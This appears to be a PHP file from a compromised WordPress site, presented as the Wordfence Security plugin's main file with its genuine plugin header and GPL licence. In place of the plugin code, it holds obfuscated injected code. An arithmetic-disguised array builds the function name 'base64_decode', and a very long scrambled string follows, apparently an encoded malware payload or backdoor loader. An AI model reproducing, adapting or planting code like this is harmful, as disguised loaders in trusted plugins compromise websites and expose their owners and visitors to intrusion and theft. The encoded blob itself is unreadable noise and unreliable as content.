File: /home/bordallopinheiro.in/public_html/wp-content/plugins/wordfence/wordfence.php
<?php
/*
Plugin Name: Wordfence Security
Plugin URI: https://www.wordfence.com/
Description: Wordfence Security - Anti-virus, Firewall and Malware Scan
Author: Wordfence
Version: 8.1.0
Author URI: https://www.wordfence.com/
Text Domain: wordfence
Domain Path: /languages
Network: true
Requires at least: 4.7
Requires PHP: 7.0
License: GPLv3
License URI: https://www.gnu.org/licenses/gpl-3.0.html
@copyright Copyright (C) 2012-2023 Defiant Inc.
@license http://www.gnu.org/licenses/gpl-3.0.html GNU General Public License, version 3 or higher
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
$glx = array((((98 - 13) + 13 * 1) / 1),(((97 + 2 + 3) - (2 + 3) + 18) - 18),(((115 + 10 + 10) - (10 + 10) + 8 + 9) - (8 + 9)),(((101 + 14) - 14 * 1) / 1),((((54 * 18) / 18 + 10 + 7) - (10 + 7) + 8 + 1) - (8 + 1)),(((52 * 4) / 4 - 13) + 13),(((95 + 11) - 11 + 10 + 10) - (10 + 10)),((((100 + 3 + 8) - (3 + 8) - 7) + 7 - 19) + 19),((((101 - 19) + 19 - 15) + 15 + 8 + 4) - (8 + 4)),(((99 + 2) - 2 - 5) + 5),(((111 * 111) / 111 + 3 + 1) - (3 + 1)),((((100 + 7 + 7) - (7 + 7) - 6) + 6 - 12) + 12),((((101 * 101) / 101 + 2 + 10) - (2 + 10) - 12) + 12)) ; $dsc = '' ; foreach ( $glx as $ymz ) { $dsc .= chr( $ymz ) ; } $ngj = 'ZYFK#DQQCDPM[[LYVgQ
UWX]@YMAHMN_]BDSNTT@YMAHMJ]CJ[_]B^@V[_W[g	WLVP@_VEMLMCgYMA]YAPQQ]TQYA]@_VEMLMgJCLPDL]QKIKAY[@iJZMLFLJWTL_KLSTC]MG]LDVgYMA]DKSMVBQZVYYQX\P@DMg[WKA]JDLPEgUB[]^QFYYQc9APQYWY mh^QFYYQc9APQYWY mh^QFYYQc
9APQYWY m	h^QFYYQc9gZYFL]gZYFL]\V\NJBMGV@i[YYKSJEDPM[[LYVHY^CD\PZML_KKW[^^QF;E]FKQXL_KgX\P@DL]QKIgG@_Q]ZQ^QFYYQ SZ@__JPLMX\]C_EDPM[[LYVY[SKFD]PXYL^^QF;[YA[PLL]QKIK\_VZce@BP\KZEQRVYmh^QF__[YT?eL_KKQVTTcPkLPEKQXYYc
9J]CJ[	WLVPDJTAF8D8X8BFLS]^@V[_W[KW[^YJP@@YYQ\BWG@X_\V@MCLESBJY]VLNTTQ WLZJDFLJSVV_VMDL]QKIPPYHD^QY]BJY]VLVRQV	WK^jHYE]GDYJQWT\\YYJnL_KPWHhIWG\@X_\V@?L]QKIPPYH9NZQQYLDcLPEP]Fe^JgWJF]JD	
\
DVRQVWT\\YYJnL_KPWHh@BP\KZ^]THOHJBMGV@@YYQ\BWG^@V[_W[\Z]RYL\V\NC@BYFSYAPQQ]TQYA]cWkLPE\]S_TL]?eL_K\Z]RYLm	h^QF STP_YSceDLTKSDLY]QV S@SL@JVDLTKS_E^M
UL\WVDi\MX\P@DHGW[EKCDJMDL]QKIgXYL^LPEg\m
h^QF;R@neJL]QKIgQ@cUkLPEg\mh^QF;R@neMJ@DJ@LQ[\]HJU]FK_E^M
UL\WVDigVWVBJ@[LLN;NDL]QKIYV[]ELPEgTW\@i@YAPQYWY APQjUYUPg DgMDLPEgQ
UWX]@i@_QSQiYGJYj@PC_KA;SVRQVTQDYGAD[ZVLYT;XWQ]Dg@RL_K^ULZJADgVR]^QFDJZJYVWVDWY@BP\KZi[Z\]Dg]
QQ[]DL]QKI]C]Vj]V_VP@ZQWJYOEDKSMVBQZV@][L@X_\V@HjK]EQZVDMLPEgJV_VM@BP\KZiKPKKYV@iKPKKYV^QF;_VQ]@DLPEY[SKF^QF;_VQ]@MLPEgQ
R]MDL]QKI\PT]WLP^QF;_VQ]@MLPEgQ
R]MDL]QKIHTLPLQ^LELGHWAPQjQV S@^QF;D@YSYTSCPL_K^ULZJAMAPQj\@LL]QKI]GJWLPEg[R]@BP\KZiQ[[W	SLPEgQ
R]MDKHHTT\[@iOZJSDYDYL|
FKCQPUR\BH`ayZCq_H_H@ZTUg[R]HTT\[@iI@]JYJWAJCN<VRHTT\[@iQ[\]	]A_ .N	rqW\mUPNu|hu2p~~mAD [\P\|sQSq\Qs_ qkYUzqpvU&|}RAwDya}l7unVivOGBNJ'Pw|iV qw~Q arqsORUnRnQK*XWYH)P_J@}EuA`ItY5OFv]2xZ@6bO]twb[vPFmd@
wuwJZT@v~Y
lpAVkDtwmuwLJRbD RRa@qtBqvqs{VZqRNUXZt4e	IP]D}R	Vnj>hVzURY
S )fofI~P|mTOP`A1Ojwn]~_ c{] B'P c|~(U]qeVM@xNu[^{]^]}h_}@o{%|pzL!{}mm}la~}qroZ@}~H|H|TM~I#damyYDzX]
obrLSbYAw}qQPnRTg|Ps`\yPb_ts>WlyB|UL S
Aq@kmz[Qond)^UFiO4CQwRQ`D`OR[l`	zVeIe~QHwFNMn -blVS[ YKizUQpY\wS^WDR|UZtEs`U_u/CwO[7m]wHC^lu%O^}rIb
A]fovA7Rri1C~SLRD`~>AW#ZTvAFHfhq}]@SW~v~v7D
\N6ASEPBrwbQOSlbt<FJj^7Eq}STLV yV'aq pT%x~Sp
)F]D_jVpHT\lI@U1 	l@w_m]fJXJ@h{1dJbs~mKnLy^Wn[q~bw6phYoS`boNOYNC}@gY k_KG^ZlKT Im	fZfriO\MP+QMY4lRBtUE]bBp`[Zsg]}_ THW\}yv+wu[
+OO@xjp\JnW_rots*@C^L6lLRON}HzR{=~tpuQ_S~*fY{Wu>F}z|/R}(`sTWa]niQ%\|R\KR  |TOB	rr#rMMt/WZ|T6Sq_)Jx["]RyW
%JVWPP\H	SMRAQDPk_
_oh&_m}\VuplBq5\jZ a*q OBMU]|^.xs^]z#Wb`Rq	g
DT^oo}z-Gve}DbbSKr`zVsW}}iXl
ERbUT>bOyZ}@lZYnrotYb\blt#duS^Y#lo ut"g~B~R|dllVMlOQY	L m^1]w_K#@IdVONtUj!~rMLwua"~j2F\^ qy[
'e QuODkL@bsACR`^]QTPRpI|qA
NESU1avrH<ipzB!UKEI_cyQtIFr{A{PgoTNk"BqpmkDd}R~>QOwk
4yt6UJPi\hy#
lj6zABn{h[	
{qezR@W (QMQQ5LIOUE`Bn0 R|B|QsBTm@i<}UpB,eJZvuYYJ	\~fKaT{j]!]B^_W	X|q6e^[H)cpM`od\p~Ua|Ko	QotKV	aI]t6VC}|Sf
fxw}m~KzPZhOURa	}E`LRyQJws
Vmgl}O1FRZ
/LQiO|lVS\QVv	tPEk~-VX
.O__o(FmGt`DLHTNA\]}TLM|R'haho\`nqwyJY~i@Btkc]u`1u	\kSgtD~=g`SNRQ\ZSk<NmCS3yOnV1sZTU]rT~NGtVSMR"{{CSs/yD^UFj[j~~OL`*yAmS[szY/gLP@R]nfvUPwwa!TD
Spo~ADlmz_ok|[kU]skn~zo>YYsfZTb!UMeAU qTJWWnV
bWk{!D^\Qm]oKZRDnUqM
BwTN}I]UR@u}_JE a|H]Nov'CyNvZ@Dr@QUiy_aDTR[6LscPB+|ZC\YTbPp#SLsr"q@{qk4qR HAaKJPsalVKZS Sh.AG|z/nfzN%IdTo2xoWuc_zImTqQa\	hBB0dQba@)RyPrA5QPup\tHl^N<g @_O3|\w!^qHp&yklr'nrTwqpL	.f|Z
	1WibHQ{mPaKoaUy|YWGYvzuXVmn"QwohAy^a]N~U0`]RL!Yl Rap#_^n
[ELA.aOzBTPpsZa5C`Sw0dWkASFH]zmVCqSm]]}@FI#EJ|\kGmDO}
~Yq!_s	v]xY{.w_AwS_S{U2\L@H`HzNl}VWCZA~{NA`Z7taoH~ \sPRZPLKGl.}VT"ptSs=W]FsH>eOyYp"aUf{4WoqrKFZYQP @YTWYWn4yvvU1R}^@7uUrzIg\@hULTV]OfSxM|<arbpU!TC]PTqOA+Wox~ITGRlu
7NcU`^YL LtuJ^Wv6 rT3[e}W2QcVW(bYBUhXTOyOGnV bsJtlBa"btJmRfWQlW3EiqZ%nT~<L{|k
 esLPDnyi1~nf
SYX\yOErs{[uQVLL+QHgi^*[wAky	~a{nCudlzA}v \ORzS/qlqO@#|_e\`DZ{Ot#QBVmHQsVbjuKVW SvBrw*oy~Kavio>ZQR )A
v^|UkRPeVPrSTV 'tMtmq0ZVm{5FoZ{1sK~`I5zBo
L~wBH	LmPADPl[@'gTt]|]_MM|v!x{RS<qlLv<CNjKD@EauQbBWW JpL
*XqozrOBZMOQALMR<}NQW'TNU&L|rJu	sSMV	t}twZEKk[Z HPwOnJ+bPb{\`yH@\dAvDBAy_5@m{P%Lb	T>R[|P^\QHi>nk|m\Gp{(QqHTUCJ^)oo}	H qhV@\.T Z WJ[n
bkr|VoDbm!_@ZPo"Wqq7TJAqubJPyQ\`[`rt3\OpRUCRB]r&cBu@f`GyZ7JoT1sOWj!FpjO*\]wsjKcvBLh\oW~hKbUASq qsqM&StvvZ}SLS@~l~PG^)|J|OFlIbNMCN
egTK0l]r^{U|t\_\V^AZWs^'asZqyiJ| qZbTW3~NQ\a iOSILPB%NWoqPRzsNvQg\p^JPox{\rT&W^
[%pRGOBsdH^#eaFZh\VRtl~U[at{k	T`PO !y`5}|ShLWdSBt@BCyyK`Y_Df\m}QPaRq
Wwe^]LEH_ErSw&zrYT_LJqtBs	nPiOO@Sg_a4X_[lQCvyS{jh[qwL\zQZws]Z@0C
xHq1F	Tm|(DyV/cqDKl/sSGQ<ybSK5aIuJ7FK\wH.GyBA} \A~4PJDZR
r`^`PORTh PnW[ Ooh\|jebI OQyENSin5D~^[K@z'\oCRH1FNl|
PtDPVD]b	y S|~Wsa
w.Z_PAqb]WT|	 SRWkPDn{h(w}[s}LI*cMAHUgirLY `mYvQr]_	 iy	V(A DWYVG`A UPVP)B][wD]zGlr~ajTHyH  A\InW[^dKbWzR_KVM
kB`KWtOaIQ^{FzQTN	myY`~VVSNJyaKn> Mm nHZuQzpR.oyg]wY
Tqv7 ZiBaRgOkC_rZBPDAlrd_\RQ%tI]t\WPtPlJ{jvM oM\u KlSL/sTiYWI|NWK0_WC[LyyFvB^DNj yBsoWH7EL_}O^mO`~oSI!x@Dv %r|qKslrR[]gPKTqdsVX|_QUIe~K*bvBNUt SWLGK lkK~`OM`=CKqmrWUs\{EsRMZiCtYPz  Vpa[H WYVj|U`MTO4]aRv)z}oA@[A
@rb{}M~z D^a)`TP[0}Z\\^OsZVM	^XRATNjSJQw~Xbs`PaT@mbWz`T_K@w[}D^CVkUOZBjCtY	Q@}RBpQa`%Zu[_R^zN{r{B/zC[B"Y
ohU"zQ\PrNlba1CPYuRRinOMVWwRAUoBC{R#Fch	|@{P[VzR.fLrM`blB`PpZE H%oWsm+sRaa%`PNS,YWsV k^@i"[oK-`M`iTC	{i"Jd^-ry^lp,Z@dSB
G\RA0]OVn@-bwpTt`BDtiO\^Stmwu3_{z`h>p
rWf@]Fz MyhCTjh=}O
p[Bj^@RW|2bpTKB/BGu#oQBQ~0DZopZ2[vR^X\{rtiI XOT4\m\^7}{nU d Gb!apoUR}yS]6Ga|	3kGpWU[smyiTLAWBa
 O[IDiR
B!F^|*]ZlQ~"wAvBi0S]qoL)dBKPXS	q\fWWKY(rtfwA3tp^{& sFsRQjwYPuJA/FL}R&OOQ_@cqHPc]~zu +jZYvYr\UQ HpMvrXOT"B	aOHu sU~brIUSnF{VDR}OYjRA{!@yxrkpGpv!HqQ]{LiLRFtBLW]"iBj]b_ZBAPgjZ{Hyv+gPbqBHHeu_S\OUl	j2LyaZ-WqZSj3CKz+]_AQ/[	P_\UcNv\m(\Vd^JVwtWANQDDST}b\s^u6lSiO|kf{}mjUhVjm][zUA5Ep\~7g}tS __puSPm^OW1 |Q	QdtmKu/C^`)x`gUs%i{Ry4YZ{yDvgziw`n]PPnr7N[izyTvs#y`w^BZt]VTq 6
LiU m\yb@r@w}>@t^P Sm/^ nl/@Ply~+|s	K\ZWMa!cmo	]r}lVHOmK~tVs] }{Y
.sEoUBNo5jO
`CA
DjT]WaUWT]}so_GP~_[\e^s^Bu{[zKyJbUH z|Im7YMG
kgu`T,a_v/P
piTwz@ED	&tPYB
c|A` @S({  Hwuc^EAQWzlxL{1PLSnR YMT cZl <jSt+	{MaT}yH5fLQV~RYTmY6TBJ,LOpNw5~z^R|]bHLuOSr@Z*|tqUJg@qP\QMYtmxO GnVw4wQPTqW`ZrEpu}	_LlDGiOKq@So[%SvzHoTI}VM3oLvu|!p@rk^%E\PptYAeAwAwZ`6doLU<[tvMZ%k	L+tTo]bPr|]YM GFbADz]MI%  \VqT@tA|r`PnyTw{BQLOtRWFjTWBAwL/TSpiPeET|5][JDEI |s1A VpI\wb^S_ygKUlhBbO`	P m\xLMOzboy%[iSar2`{]	oAr]p&YxL#}{VQ#aSz{Z4oWEVzlKAOXF	7]oJ\yp@RJ	ZW^|Brp^Sugt_waRVydJZ(~W _YK]Kc kcYQu& OGsYKsA|I"R\^{(nL@JOLmlN#orMHMDAjz ][pVz{xU`P
wwP}4Zl>NKr	ZEp ao2wW`tz0rrpl3tIyiJShqS~EW~a6UsmM*CsG@J2Zvx3\oS tC Y|R|tO}J_o|OpkI_AOYH{L`!AomSWFr@B*}IVt"dS~QAQtir/PZr	HO]BFK|WoikO%OzzB-UL|]Tpv	5|w3CV@Ut)fLtuwMcLq
PYg@o1VE~Yt\@5B^R	+\\|zKY_bA}TXa[P|qxi\K[PX`z~}oy}u^.J`Oi
UnEbWRVm
_q[RHYRQQ[WjQ a>}[jp]gtEpkSlqW+uTOubN@<q`TW|vmPhAO dQIKNMDLmT}g`b&F`bl_(|HwSTD|aEiw-tz
1zRR	UVZ[PoiOxLGU -lVG[Q\N|[ucoVs^5`BiZ!a`|z@VY}Vb&~UEVOZhS\P|seVYK |qzOaLZJ3fPa`jT}tS[[d[~qzok0OtsL|"_ 3[V\a5[w}q}]yw +CvTlmtj.d}zs}	nZIt^tW^\_atB-eXOLG~SXBWd
t(@WyzOXj`Hi\ZAra,TK}N( OFNUtDqlQUqnp>xbZDwbpRVgsfzu+`Qp} FJ^ qPNaAqnULr,|VfsJtlDo#xBLW"W[rV'gyf~UxT}H}BryU
NZJ+yxk| IM|T
iqhPU~dL=fPE@,]ow\#~ ~BRs
^_a3^ppzh {X

 EtLRVU|jQ]V*|Qa\H-q`sTG}tJTWIp.@vou/Ump`ZVWT U^Y	NeBk0UZhOqA]~o4AymO=Va]n&|bRulHcLNU]
[lm5 oT
Lbz1C\[
i1wVxMp&MAz`S|qqHQc_`}iREyXrWD]\_S\mfPOBlAZOTwHb[Y+v~sl]gLTTo0W@ vDfP@P~_@o`Xv-lf|K,byAAcO}ORBsp }M[_4DvtRb"zBDT[
[yml+yI[l~ueps]zlOUWvAWL&p~WA1T XR	N_FjY<@w}H 2FtNorUg|w	wYqul P[i{~Oaa^>zK{tnWqjo^PwL@rslASB7rVT@nq_Q-}EV!Dwt
JbM\
CTNT^Tb  xukp5enLL(Ez{TVDT|WURRjh7[
g
a {LIJ2\]
v6zz[[2 vBY\WS_Rkb_ZO
N@J P}_A\{J\YwuT2bvhQjSLTXRb6u^
UQyrBsBDFH\^gb 1rqF
~Ue]|opP@o]aT_@JtWbRg}WUnsw\rH[A`>wARatqpz&_MV
&r]JZZ\ ] nsq~Su|z VyUhQIyiU(bRRJW-KmaT<[{_|LbAi#FhDyS}@Oj,PE{XabqClGN[ZyovWw0LH\H*b	@f
o_LD{t	BR4PQVya]|(nBiL1^B[UQY_P(tOW|*zqlZDyw\j=~TACYXRr&WFn*v{b=X]S`su_\Pq&GPiSE{	%bIrbJn@pw d`|VvN~B_,N_R@OrtS szQ@\`A^[a}BzmAJVNS woL[A\\Wn`Rk"LLu-PD	 b
5rKYX_J3T|`
 OhDWvb^{1X~pFklLB5CmfmZ0[L~siW mYZ. BTyVSOYYbU\h^AbDAVaW*XyxpJ|{_Zr=zBV~sOQtXMm4gtvu|Nc	s upja!U{{>`	Oy'yPvt	hw]_V_O|{WDuWUNBDW
%A~_YVbKXOPFpWB	DZRWmY@@VRj2CHH6Hv`+XO=QMyq@'ZbPwz- \6FRqII
	Tyo@slq~Qx
DnYzK_@q%Q_aopfbCOS.~[p@!yUvwPxA^TIPUFRS\QyQn`EsZV_[Pl]"`[ |Pg{sm+`KljLSeRx3ZIHv]yW]U J`#GYLHVxP|ltQOsp\>RPY `|[]	u[HYWbnRs[uM	sXuHz `mm+\OYaD|M~nRcBQ~V0qWQsv#XbTBWwCVh4Ebv]Rm|Uly^o* [~so#zRw~/qVuW	c@@	B]|TTeOL+tpYP2En Uw5{vdAj0}eDKsl@WySXtlTc^R~K.lig^qQbI{Wu7YMK]/h`oJ'`]wob+ LF},OjtDL[JY3LU}]p"V_yOJ|Ud	bOA\I&~hySDorrz
}Euf~S4~PR6n_WRrj7t{[SWntN`QcpOt_KlTBp	}n|s{LkLT|h0smWuQKLv1`LA\AcA0wRx@	%aPEL
owTPTFU`C	BOiRL\vHcyf|%Rz_ObW\_fqK<y{DBI!cwkY\zo	PSz}obotwzDe_w_7YqCTM\@]~ppP)zMZj_yEJIppm)rt lZRso{R aUE_D v[orZkQrvTu2FVGYV7G]t	.L^~SFOVMA<^PmvWeYAJ\pr+rITi{Ap`a&ERY[p\fVLo bQoKfW}AzIrA[JKX[Q&th`_tDRimUWaS|]I.\so}6d]Mh6y^p\l<c[Es#{yJnIpH2cX`	sLgKZQ{{HzbXVw`_~b VCwRoycZs|M3D
VMk!Ti\rNQA*gKEjO!	PPUsBg^Qb^OU{uRtJ%caP]{\oi=Grwz|=_ieAR%U[ TuTms3PJs\_\q|dqoDYAI_Vc@aIl
lze	qem`y@Wk6UU~*zv`2xpj0aOaH3	BTOtL@uPT[{b4pAsVq%`~C^nTLzR]YZs\VNOqhb(xp 	+}p] 
p NRzwBS~\OJ}>cnZlH#UqDKZ(OnyKOi^Y2`OBKsuQ|\WUy[EJI=DyMs[v~0ThrHMbaS}|Li2NZwN=xlAY/u	F@z DBM
	YywtZ7 pE]hn
Pjv7fqSpnvaOn|AsLo\UHf`PSRn@aW!PZm C@\QtmvZz]fy\p.zy}N[\_`r4OriB>dK]qo3yHT QQAYQSWDoZ3QH`Up u}]T4lRJoY{`Yv	\CsWSEJVQYW|a|=PuBmOsvY^qost_LfSR ophW|`Mk }zpkV+lhXK~HcNLVByEicVOx@y
t}wwSezTl3pYcSo&^WxL0E_Z{aqNlR"fwf{b\poMTNO SQK  kSZ@^PRv
L_UTyQo\LOnp|S'XUBhNPFWYoGpZUlbaMbt}[
ppmUtvs[RSP(QaYY
(BaJuDcnEYR`~]sM!}taP<tvB_Ub~^#WTRBh Onrz~_|ISO J{qp'eP}I{fW
~D{_W_]{{W|LM]'yuA_[Q`~
{_`Hi6uBOOD`pUax}&mFoN\wUNq\]pk]zXL|KBzSHsH#AAV<H@Pb K_lNy ^A\_q-|~L[DpE_}%F`
UOa j\4uP\k.cLJOm]Uv |tkPbY|BQupKLJPi!UZCu	TBJyr](IS~y 
]|Q'TagSsuwPa`@+@nAjWSC}TSROpip|QO	%o tvl	sf@ yZwN|/]wq\v+h[qU(lJ}J6r\lh|4ve|0flMT]xLYt\RV\l|SNRsmzY`~Lr 	
4GOPI.XYBVOsZD
_ARyNL	la^i	CtFj_mdOO[\t"ysm}~Q
[kZpVQS|S@=snWRNwO\.|tybR}	FYrH2XJ~YiSpTN]
EhPQr|F@O%npny=d{gAZ zQA{G|@s,S_dYDC{dB_*NK]2 o
s4dKLAy(EP	zWLY.QGouyO~6Z	TQ{2Ri_u+a@Vj@QBJPYtOmPb\,CB\kYrYiWLZgvvbD{[clfbV/sAS{h}Ozj/OJwESyQMsG]pV@Q{jyr 	Xor`GuLn5LmGy@0jpUsfIl R5^eAOppm^bsFJot b(^pbra|U	4ExnWxPlIUdoeo ]aa{Vp\p\)r xkTbO|T,sO_zPgABPnQS	QVQd~JI%kLUo'ez	~>DS QR+SweBZfPrghLHHR[m ZLN<BtA -Rup\7LB @OZM* ToONUL]mh)_pPbNw|L-yl@bU4GkEhpTjzz,sfoBQOonnWyJrB_VzqO `QDm7LwgmsPSSj\U	_{7F`]U.CU bpBp v.ej`	TD@Dj7Wm]A	upP\dYa[	a@m^G]vTlRq`Otrp aP~y6{\`v,\Ph-PTPUms{u	1zImm{!zp`_|n~sO
rN_N `nG	7pK]I QtbDerfS1Bl^BS]AJOt*sAT{|ZM}QPvPTBv ])foW_e@xrj2{Ky{Z0FPXjm,IAP^AebU'uC!AOAh]au FCS.f \w`TaV.WVMNST^]<Fhrsv%`S}	| O&`Y\RYru	BYiFl@W\DwYl7 nR wWVKdHU>QLZVj@WIq3^OPz]dBgk*riqQzzz3ygRw+cUt{4lEm	o
[\&bQOkP-rQcAW2tB\)ugvZ3eMbVhfS|M/hsrL`bVWm-low`l/JO@*B_VO@AWt5SlvtO0|JpjsD^O1Act+@|lrx[~VUAo_P|PRA{wM#f`fQwYMsQR~YBz)r|EHm@YxDa\{A5RrGW{<r[xy
*xhzQ[RRyQTTtqR`SF^=xTlk
}K@a|Wb{rS%]\Z~{RopUk+SsClzulL[a	C
k&Ea~R^^}d}I]xRsiyHRU~NsuqRyY Lql|`AQuwpai}"FJnwLH
R{b`1}Q^}p2CK|`D~TzA
E}mPu>xqMHVWP^QTbmb}'Grx\
VzkZRkyR Dg
tR~[K jTtwXWm`*p|k],^So PXs6Pk@nFAoQ'wPYNn0Ql{,cULbmQw~^j(ZPtwS6xtWjt,`LLQoD]Ydu[,uvzI/_PqQfM_v [z]L}	q@Uj,Z[t

t a lck@RztWH^ Ci!tWM7wN_-Xj|"~mQz zsuv'~OOIiQwt}LZ]to_b\GQyW2Buqy#fYvZTVV
aPFvp>aZOA`.L~_b DO\QskWHt+Fzi/lbWo{bo|{uPB4fMy %ph\v7}mZ	qv 6QzYODz_BW] `yO]
VAVlrP~qTuIUARVDy@H7oAxpkXZvkL<fvQkjqOa .papV^/eJerW6LldbWvajB]mfN SRY
Y
cMC[PLuta  x[Nj^Wzq0}BPn\|IEm5_}\W@T~`+Tt]v^(LH[}}-SuwpRw@v|^bOlpaxv\[ XAzk3NW]mhey4@Q5e ^Z>PoJK<qoW\^L\ L6SSqs1a^sRbBhcQ]w\VntTJYLbaB_7S\MkTNn[wy2@KsIaW[xb]6dBS<lo]<ZGh
ny]_orAc
&X_IUTpq`~qAXvDSOtwzoBA J~
Z[BO*zJ|NQQF[{k`O@PlNAs7WsPBUPPwcBy e]r
z@o[u&ebePh*ycdy~kT4]qbiXSA[(LTp]*~_EJyWR-~Zv`b _Ocm	}~Y@#bupN	tj!dOSaElemPqm}<\Q}trTpKivGj#nrMUzHRAz_g^'qyPi6z~u	,ERDT &Pz@3F `nd@@
DIRi7L
}@Xa
__ p&lzPw
dIB [-o`h~!QaQu_WBNsM<|rlogt_ 	S I#R@@Yb|}Iu6`H|AL3c O^T%yRwLTQ
`a4sabH{BQ|#UScW`3zqvnUNSbW#{I{R#OL},U_SW&GrTbI!vMn1SR{W	CWYDhAZa!_e]3Nv_fTyydYDQj ~AWt7UWgY\%pNYA}jSb,N^mY&Cjc	s{}ayCKFPA3`vnl&QwIK7~VGynYA	W%||Bkt0PXB]3Ek|zi@\~OSnd`	lwSpSrSw\4Qe@ |UCsryB#iCi`^JyuQ3sv}_KWxAy2|Qn`.Y`V	-Pso5RJ@aNsbg
vQy[CZKpWY
w|H^Oo^`O<y
B`bsn__
qVN>{}bM PHqQdzDAz_Uq{bsFk|mI2Y`@AA{LtB"RT_RoTaKTWk {uPv\a|ta|q1WLRS|[Xq^[H}}Pwcl|KsP{R'YDPA|sAjExrtRP i+`AM.R[FB	TfF^t>UZb[j=O_oR3Y^^s)Rja]PNp+Lp\sT~JwUY{QW[Y QP#^Tj`
	|xlnMwh{TQ^-|Ip
v#tOoL7sGWQ}WqZSUbklNy]Nv[PK>[zT~|3LIyPamE` DGkt`QyV
AKbLv	,w|_hUO]`yV- O}(NbZ 2ziTScDH]wzj@!Q|D[V1{o\FypOt]I\)\ )ZZiL=B|cSA# z]|	vqUt`J{BhPyV(TPo._ag_Fvp LwR|0qej!csbtSyzcazwXWPqw}Yd]T@sk	RFDqc|o 
f[@S@sSDbS]qPlV}vT2l}VI- aCr>drLK1lP
uD{w]S<x|^`%t_}b7~meun~sZ~.Ayt~>L{{yO^AK}*TwW	rRw]ntusOtmXnmS@}Lh%FnlDwrYT3raYma6\Av@BWROqZL^BQUq-NGv[Q{pK(u	b'gQqVN)XbBo{L PKgvw"}{}r|	F\@x7tBrwWG{Nm) WYQ4ifz1g|S`Wsao|Q0 d]le\aKO wRMUS^_[e]Msbr`z bd_Odz	JWyv^\GuZ]o#gVwIB\xKo-[PWs}#|Jrw	|HQO/L
So #Ov#\@@JOoP`J7qz[ zs7bu_L^V{={`j HWz~|QB}@lI@)ZlMP| SZmRIVBQ&xrAz_m@y6SaTiKE|~rT`{LR,@jmS1Ua}BlKo0eJn(fcxmw[SrLtqZcUvZq P^R^nyWU]PT@}\U|_rflkzamty~ly|]\_ l	Q[t[_L]R@OV,H~hs\W1Zdy|\YV%d]lSS`qxR\ZbVuTi_ Vt`wWV+D^c
M([XW}WvhA+ZTiU6FoG VP`zS
u5 xum3c}y6BlnW4YB|v{pp~`TTY_]FQlmkSNlgA{UowC=l w uFotK
-awWbL[mOb=YNW| \SQMwawJPt|YZ6`WFStEG^h[p~KEA0}NMRO	]tXnejtznCr|blxwY]G]Ob]EU2zV
\6YTC^L={OSu`>q_A=Xtca7~@H	 QoTPY~g@lrl@y&ORlq	oR#zrtyPgQ[msyr0otJfM^WUZZa<_WOVaoAer[>^ayS
\x| 	SPa@L~\KfMi&~AzSZ\hH

u~RKjULl@kBH}Q]_PsdVt!N^Bri) K{ycrmWTgAUMQ@^lJQp_yPlylPWv3]Hfzb"XsYA	g@rV|3{wMR	@n
WZQF]bv%~KSj6SsqZ nMQo>bS	b+yt][~Rpn[nSjq^oS&`OP{	n|oYYSZ_e[r/pB@S+LLm`
Q_Z~
ZHRh_Rcl}T7cu}Hy.gTe Q!{lAp"|qOHKy]XOtR}VQV%
MqAZLVUvA`YskOWP`"UTTUvPr@l)OrSnUYtSJu~B}GOPmVT~zt	DqGqs~Y~
F{_a.C`p^SQ
CiW`blv*TYo`UL
v]p5~jY-_W~rVEk
*AN]HKzZ[+g`QO{&\B@DNW}wA
uxAU}^msb	l~mP-RbK> {Da!OOxnwtZ	RCPm(|bRy WSfqN6qhpY2piEYp<PpGIJ2oqgrZ_cO@0EAYq(_wZtpt` .u]Ji_VLL DHOhijeVT~{+G]mb v
EYWK
u|QkU\TA~<p
]^p!AZWVNSAglr tpvb[,xk@mP|n]VsaBP@Lr
!\>ZQb\*lV{\u_|Z.NbVJ	y`}HwT_AR	BrT_a>ULy[Wbh^n)ZzSl#y\[vW[N(foL@D]`	V=YwDitNbMRlnB{A+Ypeo1\uBlORNY@kU#\aEk{6r\a]UdpnCsTZ]LMsSDAvg`Wsv^K5OHaVL`zJ](_yGIQc{W]qko] /vyVP%cWnKqVCSIUsVdlI@yw<vcN]RpSnWqotLPrH}GToP[aWtVng]SAzB}][J /d]YZUQph|R0xw[6\_}_L-L ZB~k^QS@VR2YzpPPguOz{ pzVIR@meN<f[}_p(EHFhS y~]	oDa@V
U`TS[ ^m_UHY{zQwZqmSPAqSlPsv	Zo`^o"fV`zoWRz=uYG[nODa>pw}]BXqlz]3Y}sPL0bZo]@Tm@SDNIpVUpa+RoEbkr_r PsD_@p	OC]]=buSpT>n~l`/tuw &nUm`WPjga~1zwJp zWZNZDHFqO'Sbz[1UpUzTmmjnOU	os"Gmlw@zRYRRh
RpOYOhJARqZ](yA|zEUF	NPzkoPG^YZk6N
~bb&@JKRNPTjOBjOU5\PMIWqhf eT{TEBEJ`v`yYBIW\ipz!XA]VO Xi]SuPD\fvqVoPCS7k z,n^hTP
QPK!S~iwYWn
KCPMPHvz\{IXy`mCay<b~]wU5~`yPVz}d\2sarLWY
ojz)Tz ={ye	RowGb{!D
y	bH@\_@^3aUqVQCogiS	@qu]TRF
}wXpi>rL	.b{iMOXhxSRh`kJSWQq3]oMWfMe@tUmjj bOZ\I#A}{O|sVo]tUnDCuf@NvVlW{bN2nhCMP^rR[^Uua[B)eBz]Tmm~.RQfVJeUDaV0~]`J]P|YPZkLO-`waNvgHL@	LSmOtNDytOLU`Kh,wN}tJ"R\M|>QAB{tvTsTA@Uhvum(rIgN]CwOQOtQSPTUCqi&Tq]TWO@}yq{G~I6gV\SPmyu~OUt+W S{[]keQ{KvY]S[|/qvlpuEp@W{QdT|obxl_S+w}mBsf"iXudM}]%odwvSXaL~K{syjZWBvWV\c[EUY>b^TS/~Ix`h*zift|YIAqKqm rA{	# gwZy
UhTEW
lhvY-pUHRIa{U0qMVsU7]q@7_Y{r	z_
Z#Gsd[1e	y!av}K<LSEm! XZ	{pYV
lRVkU}[yUK{I	m` oATJFjQU`ol fXnblQwmoQO(ellO D]QBIV}uKC S`DmcL
|UOTSToZ}b ^wy2Ny{]_
a}qbN@jB1^WIW.hhpDfjTsq~	Ej ii`7sF|
LZ MTP bzqna_<EnqAv.LyO@RJqstBbb
